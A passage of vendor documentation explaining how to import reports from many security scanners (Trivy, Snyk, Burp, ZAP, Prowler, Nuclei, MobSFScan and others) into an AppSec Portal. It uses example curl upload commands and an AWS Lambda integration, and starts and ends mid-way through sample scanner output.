          "Description": "Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6.8,
              "V3Score": 9.8
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2016-1000027",
            "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-1000027",
            "https://github.com/spring-projects/spring-framework",
            "https://github.com/spring-projects/spring-framework/commit/2b051b8b321768a4cfef83077db65c6328ffd60f",
            "https://github.com/spring-projects/spring-framework/commit/5cbe90b2cd91b866a5a9586e460f311860e11cfa",
            "https://github.com/spring-projects/spring-framework/issues/21680",
            "https://github.com/spring-projects/spring-framework/issues/24434",
            "https://github.com/spring-projects/spring-framework/issues/24434#issuecomment-1231625331",
            "https://github.com/spring-projects/spring-framework/issues/24434#issuecomment-579669626",
            "https://github.com/spring-projects/spring-framework/issues/24434#issuecomment-582313417",
            "https://github.com/spring-projects/spring-framework/issues/24434#issuecomment-744519525",
            "https://jira.spring.io/browse/SPR-17143?redirect=false",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-1000027",
            "https://raw.githubusercontent.com/distributedweaknessfiling/cvelist/master/2016/1000xxx/CVE-2016-1000027.json",
            "https://security-tracker.debian.org/tracker/CVE-2016-1000027",
            "https://security.netapp.com/advisory/ntap-20230420-0009/",
            "https://spring.io/blog/2022/05/11/spring-framework-5-3-20-and-5-2-22-available-now",
            "https://support.contrastsecurity.com/hc/en-us/articles/4402400830612-Spring-web-Java-Deserialization-CVE-2016-1000027",
            "https://www.cve.org/CVERecord?id=CVE-2016-1000027",
            "https://www.tenable.com/security/research/tra-2016-20"
          ],
          "PublishedDate": "2020-01-02T23:15:00Z",
          "LastModifiedDate": "2023-04-20T09:15:00Z"
        }
      ]
    }
  ]
}

```


# Trivy vulners.com plugin

Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more

**Auditor Job Name**: Vulners Trivy\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/trivy:0.46.0\
**AppSec Portal Importer Name**: Vulners Trivy

Trivy is a versatile security scanning tool designed to identify potential vulnerabilities in both **container images** and **code repositories** (two operating modes). It offers comprehensive coverage of potential security issues, including known vulnerabilities in operating system packages and application dependencies.

Trivy's container scanning capabilities are particularly noteworthy, as it can inspect Docker images for vulnerabilities within OS packages, libraries, and other components. This ensures that containerized applications are built on a secure foundation, minimizing the risk of exploitation through known vulnerabilities.

In addition to container scanning, Trivy also supports code scanning by examining code repositories for security issues.

## How to use it in our portal

There's a dedicated job in Auditor with all required commands




All you have to do here is to define the **`VULNERS_API_KEY`** variable to get valuable details about vulnerabilities. \
(More details: )




That's it. Now you are ready to create validation rules based on provided descriptions






# Snyk

**Auditor Job Name**: Snyk Python, Snyk Nodejs, Snyk Iac, Snyk Go\
**Auditor image:** \
registry.gitlab.com/whitespots-public/security-images/snyk-python:1.1233.0\
registry.gitlab.com/whitespots-public/security-images/snyk-node:1.1233.0\
registry.gitlab.com/whitespots-public/security-images/snyk-node:1.1233.0\
registry.gitlab.com/whitespots-public/security-images/snyk-go:1.1233.0\
**AppSec Portal Importer Name**: Snyk

[**Snyk**](https://snyk.io/) is a multifunctional security tool designed to ensure the protection of your code from potential vulnerabilities. Here are the key features and functions:

1. **Code Scanning**: Snyk can analyze your source code, identify potential vulnerabilities, and provide detailed information about the issues found.
2. **Dependency Analysis**: The platform checks your project's dependencies, including open-source code, libraries, and frameworks, for known vulnerabilities.
3. **Vulnerability Prioritization**: Snyk assesses the severity of detected issues and provides recommendations on prioritizing their resolution.
4. **Support for Various Programming Languages**: The tool is compatible with various languages, enabling security in diverse projects.
5. **Integration into CI/CD Pipelines**: Snyk can easily integrate into your CI/CD processes, warning about issues at the early stages of development.
6. **Container and IaC Support**: Besides code and dependencies, Snyk analyzes vulnerabilities in containers and infrastructure as code configurations.
7. **Integration with Various Development Tools**: Snyk supports integration with popular development tools, facilitating seamless incorporation into your workflow.

This tool helps developers and security teams effectively manage and ensure security in various aspects of the development process.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./snyk-go.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Snyk" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Snyk)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0
13. `-F "cloud_account="`: if your product is a **cloud account** enter the cloud account name, for example: autotest-cloud\_account


# Web Scanners

This section contains information about scanners designed to scan **web applications**.


# Arachni Scan

Arachni Scan is a security scanner designed to identify vulnerabilities and security issues in web applications.

**Auditor Job Name**: Arachni\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/arachni:1.5.1\
**AppSec Portal Importer Name**: Arachni Scan

It utilizes a combination of black-box scanning techniques and a comprehensive set of built-in checks to assess the security posture of web applications.

One of the notable features of [Arachni](https://github.com/Arachni/arachni) is its ability to crawl and scan web applications in a way that **mimics the behavior of a real user**. This allows the scanner to detect vulnerabilities that would not be visible through a standard scan. Arachni also has the ability to identify vulnerabilities in various technologies and programming languages including **PHP**, **Ruby on Rails**, and **Java**.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./arachni.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Arachni Scan" -F "branch=dev" -F "domain=whitespots.io"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Arachni Scan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0


# Acunetix

Quickly find and fix the vulnerabilities that put your web applications at risk of attack.

**AppSec Portal Importer Name**: Acunetix Scan

[Acunetix](https://www.acunetix.com/) is a specialized scanner designed to detect **vulnerabilities** in **web applications**. It provides a comprehensive solution for identifying security issues that could potentially compromise the security of web applications.

Acunetix scans web applications by performing a thorough examination of their code, configuration, and functionality. It is equipped to discover a wide range of security vulnerabilities, including but not limited to SQL injection, cross-site scripting (XSS), security misconfigurations, and more. This extensive coverage ensures that web application developers and security professionals can identify and address potential threats effectively.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./acunetix.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name= Acunetix Scan" -F "branch=dev" 
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Acunetix Scan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch


# Burp Enterprise Scan

BurpSuite Enterprise is a web vulnerability scanner that is designed for enterprise-level web application security testing.

**AppSec Portal Importer Name**: Burp Enterprise Scan

It is a scalable solution that allows security teams to conduct efficient and comprehensive security assessments of their **web applications**.

BurpSuite Enterprise offers a wide range of automated scanning capabilities, including the ability to perform advanced scans on *complex* web applications and identify vulnerabilities such as **SQL injection**, **cross-site scripting (XSS)**, and **authentication bypass**. The scanner also includes a variety of customization options, allowing users to configure the scanner according to their specific testing requirements.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./bis.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Burp Enterprise Scan" -F "branch=dev" 
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Burp Enterprise Scan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch


# OWASP Zap

This helps you discover vulnerabilities in web applications

**AppSec Portal Importer Name**: GitLab OWASP Zap

[GitLab OWASP Zap](https://docs.gitlab.com/ee/user/application_security/dast/proxy-based.html) is a penetration testing and vulnerability detection tool for **web applications**. It offers capabilities to scan web applications for vulnerabilities like **SQL injection**, **cross-site scripting (XSS)**, and more. OWASP Zap helps developers explore web application security and safeguard against known attacks.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./gl-dast-report.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=GitLab OWASP Zap" -F "branch=dev" 
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (GitLab OWASP Zap)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch


# Infrastructure Scanners

This section contains information about scanners designed to analyze **infrastructure security**, including AWS environment and other aspects


# AWS Security Hub Scan

AWS Security Hub Scan is a robust security scanning tool designed to analyze and assess the security posture of your AWS environments.

With [AWS Security Hub Scan](https://www.ibm.com/docs/en/dsm?topic=amazon-aws-security-hub), you can automatically discover, prioritize, and remediate security findings across your **AWS accounts**.

It provides comprehensive insights into potential vulnerabilities, misconfigurations, and threats within your AWS infrastructure, enabling you to strengthen your security measures and ensure compliance with industry best practices.

You can send reports using the Importing reports via AWS Lambda Function within AWS Security Hub. This [**guide** ](/appsec-portal/features/scanners/scanner-description/infrastructure-scanners/aws-security-hub-scan/importing-reports-via-aws-lambda-function-within-aws-security-hub)will walk you through the process of efficiently importing reports to enhance your security monitoring capabilities.


# Importing reports via AWS Lambda Function within AWS Security Hub

To send scanning data to AWS Security Hub on AppSec Portal

This is achieved using an AWS Lambda function written in Python. The function extracts an API key from AWS Secrets Manager, constructs a request with scanning data, and sends it to the specified AppSec Portal address.

## Step 1: Integration Preparation

1. AWS Lambda: Ensure you have a configured and functioning AWS Lambda function
2. AWS Secrets Manager: Create a secret in AWS Secrets Manager containing the [**API key**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) for accessing AppSec Portal. Ensure you have read access rights to this secret

## Step 2: Creating AWS Lambda Function

1. Navigate to the AWS Lambda console
2. Create a new Lambda function according to your requirements
3. Make sure the function has the necessary permissions to access Secrets Manager and make HTTP requests
4. Insert the code into the code editor of your function:

```python
import json
import boto3
import urllib.request
import urllib3


def lambda_handler(event, context):
    
    # Fetch AppSec Portal API key from AWS Secrets Manager
    client_sm = boto3.client('secretsmanager')
    appsec_portal_secret_raw = client_sm.get_secret_value(
        SecretId=""
    )
    appsec_portal_api_json = json.loads(appsec_portal_secret_raw["SecretString"])
    appsec_portal_api_token = "Token " + appsec_portal_api_json['key']
    
    while True:
        try:
            url = 'https:///api/v1/scan/import/'
            body = {
                "file": ("event.json", json.dumps(event)),
                "product_name": "AWS",
                "product_type": "AWS",
                "scanner_name": "AWS Security Hub Scan"
            }
            data, header = urllib3.encode_multipart_formdata(body)
            r = urllib.request.Request(url, data=data)
            r.add_header('Authorization', appsec_portal_api_token)
            r.add_header('Content-Type', header)
            response = urllib.request.urlopen(r)
            print(response.getcode())
        except Exception as e:
            raise e
        break
    return {
        'statusCode': 200,
        'body': json.dumps('Hello from Lambda!')
    }
```

Replace "***\***" with the name of the secret in AWS Secrets Manager containing your API key for AppSec Portal

Replace "***\***" with the address of your AppSec Portal

5. Save the changes made to the function

## Step 3: Running the Function

1. In the "Test" section of the AWS Lambda console, create a test event with content similar to your report to test the function
2. If the function passes testing successfully, publish it

Congratulations! Your function is now ready to send reports to AppSec Portal


# Prowler

Open Source security tool to perform AWS, GCP and Azure security

**Auditor Job Name**: Prowler AWS\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/prowler:3.11.3\
**AppSec Portal Importer Name**: Prowler

[**Prowler**](https://docs.prowler.pro/en/latest/) is a security scanning tool designed for assessing security and identifying potential vulnerabilities within **Amazon Web Services** (AWS) infrastructure and resources. This tool is developed to assist organizations and security engineers in detecting and addressing threats and vulnerabilities in their AWS environment. 

Prowler enables the scanning of various types of AWS resources, including virtual machines, data storage, databases, and more.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./prowler.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Prowler" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Prowler)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0


# Subfinder

Fast passive subdomain enumeration tool

**Auditor Job Name**: Subfinder\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/subfinder:2.5.2\
**AppSec Portal Importer Name**: subfinder

[Subfinder ](https://github.com/projectdiscovery/subfinder)is a specialized subdomain discovery tool used to identify **subdomains** associated with a target domain or web application. It assists in gathering critical information during enumeration phases of security assessments and penetration testing.

Subfinder scans domain names and web applications, searching for subdomains that may be related to the target. By doing so, it helps security professionals and penetration testers to create a more comprehensive picture of the attack surface and potential entry points for security assessments.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./subfinder.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name= subfinder" -F "branch=dev" -F "host=103.150.0.102"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (subfinder)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0
13. `-F "cloud_account="`: if your product is a **cloud account** enter the cloud account name, for example: autotest-cloud\_account


# Nessus

**AppSec Portal Importer Name**: Nessus

[**Nessus**](https://www.tenable.com/products/nessus) applications:

Scan servers, workstations and network devices for vulnerabilities and misconfigurations. 

* Cloud assets: Scan virtual machines and containers on cloud platforms such as AWS, Azure and Google Cloud. 
* Web applications: Detect web application vulnerabilities such as SQL injection and cross-site scripting (XSS). 
* Domains: Scan domains to identify web configuration and security vulnerabilities.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./report-nuclei.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Nessus" -F "branch=dev" -F "host=103.150.0.102"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Nessus)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch


# Nuclei

Nuclei is an open-source project that enables automated detection and exploitation of vulnerabilities in web applications.

**Auditor Job Name**: Nuclei Scan, Nuclei Infrastructure\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/nuclei:2.9.9\
**AppSec Portal Importer Name**: Nuclei Scan

It supports a variety of protocols, including **HTTP**, **DNS**, and **FTP**, and allows users to create **custom templates** for scanning.

One interesting feature of [Nuclei](https://github.com/projectdiscovery/nuclei) is its ability to automatically correlate multiple vulnerabilities into a single issue. This can save time and effort for security teams, as it eliminates the need to manually review and correlate multiple vulnerabilities across different scans.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./report-nuclei.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Nuclei Scan" -F "branch=dev" -F "domain=whitespots.io"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Nuclei Scan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0
13. `-F "cloud_account="`: if your product is a **cloud account** enter the cloud account name, for example: autotest-cloud\_account


# Mobile Security Scanners

This section contains information about scanners designed to scan **mobile applications**.


# MobSFScan

**Auditor Job Name**: Mobsfscan\
**Auditor image:** registry.gitlab.com/whitespots-public/security-images/mobsfscan:0.3.6\
**AppSec Portal Importer Name**: Mobsfscan

[MobSFScan ](https://github.com/MobSF/mobsfscan)is a static analysis tool that can find insecure code patterns in your **Android** and **iOS** source code. Supports Java, Kotlin, Swift, and Objective C Code. mobsfscan uses MobSF static analysis rules and is powered by semgrep and libsast pattern matcher.

{% hint style="info" %}
Note that the Importer for MobSFScan only supports the **--sarif** format.
{% endhint %}

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./mobsfscan.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Mobsfscan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git"
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Mobsfscan)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch

Asset information, if an [auditor](/auditor) is used

9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git
10.  `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest
11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io
12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0
13. `-F "cloud_account="`: if your product is a **cloud account** enter the cloud account name, for example: autotest-cloud\_account

**Report example:**

```
$ mobsfscan tests/assets/src/
- Pattern Match ████████████████████████████████████████████████████████████ 3
- Semantic Grep ██████ 37

mobsfscan: v0.3.0 | Ajin Abraham | opensecurity.in
╒══════════════╤════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╕
│ RULE ID      │ android_webview_ignore_ssl                                                                                                                             │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ DESCRIPTION  │ Insecure WebView Implementation. WebView ignores SSL Certificate errors and accept any SSL Certificate. This application is vulnerable to MITM attacks │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ TYPE         │ RegexAnd                                                                                                                                               │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ PATTERN      │ ['onReceivedSslError\\(WebView', '\\.proceed\\(\\);']                                                                                                  │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ SEVERITY     │ ERROR                                                                                                                                                   │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ INPUTCASE    │ exact                                                                                                                                                  │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ CVSS         │ 7.4                                                                                                                                                    │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ CWE          │ CWE-295 Improper Certificate Validation                                                                                                                │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ OWASP-MOBILE │ M3: Insecure Communication                                                                                                                             │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ MASVS        │ MSTG-NETWORK-3                                                                                                                                         │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ REF          │ https://github.com/MobSF/owasp-mstg/blob/master/Document/0x05g-Testing-Network-Communication.md#webview-server-certificate-verification                │
├──────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ FILES        │ ╒════════════════╤═════════════════════════════════════════════════════════════════════════════════════════════╕                                       │
│              │ │ File           │ ../test_files/android_src/app/src/main/java/opensecurity/webviewignoressl/MainActivity.java │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Match Position │ 1480 - 1491                                                                                 │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Line Number(s) │ 50                                                                                          │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Match String   │ .proceed();                                                                                 │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ File           │ ../test_files/android_src/app/src/main/java/opensecurity/webviewignoressl/MainActivity.java │                                       │
